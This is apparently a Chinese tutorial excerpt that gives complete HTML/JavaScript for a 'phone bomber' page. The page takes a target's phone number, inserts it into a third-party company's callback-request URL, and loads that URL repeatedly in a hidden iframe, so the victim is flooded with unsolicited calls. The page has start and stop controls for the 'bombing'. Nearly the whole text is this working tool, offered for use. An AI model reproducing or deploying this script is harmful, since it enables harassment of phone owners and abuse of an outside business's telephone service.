然后把这段代码粘贴到文档里面保存:
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<html>
<head>
<title>JASCRIPT版手机轰炸机</title>
<script>
var i = 0;
function test(){
var text = document.getElementById("text").value; //获取手机号
if(text.length < 11){ //判断手机号长度
document.getElementById("hehe").innerHTML='骚年,手机号是11为的呦~';//给id为hehe的标签赋值
}else{
if(i == 0){
var ok = '
http://gb.23.cn//Telphone_new.php?callback=gbTongBaoLoaded&id_ct=9&id_cpinfo=9420&idhhseat=1&callerNum='+text +'&checkcallid=810267&vpage=http%3A//
www.36578.com/web/kmlg/indexps.htm||id%3D5107&rt=0.6389315917239651'; //将手机号和轰炸地址拼接起来
window.frames["iffra"].location=ok;//把拼接好的地址赋值给iframe
document.getElementById("hehe").innerHTML='开始对'+text+'轰炸'; //改变id为hehe的标签文字
document.getElementById("tu").value='停止轰炸'
i = 1;
}else{
document.getElementById("tu").value='继续开始'
i = 0;
window.frames["iffra"].location='';
document.getElementById("hehe").innerHTML='停止了对'+text+'轰炸';
}
}
}
</script>
</head>
<body>
<iframe name="iffra" src='' style= "display:none"></iframe>
<input id="text" />
<input type="button" id="tu" onclick="test()" value="开始轰炸" />
<span id="hehe"></span>
</body>
</html>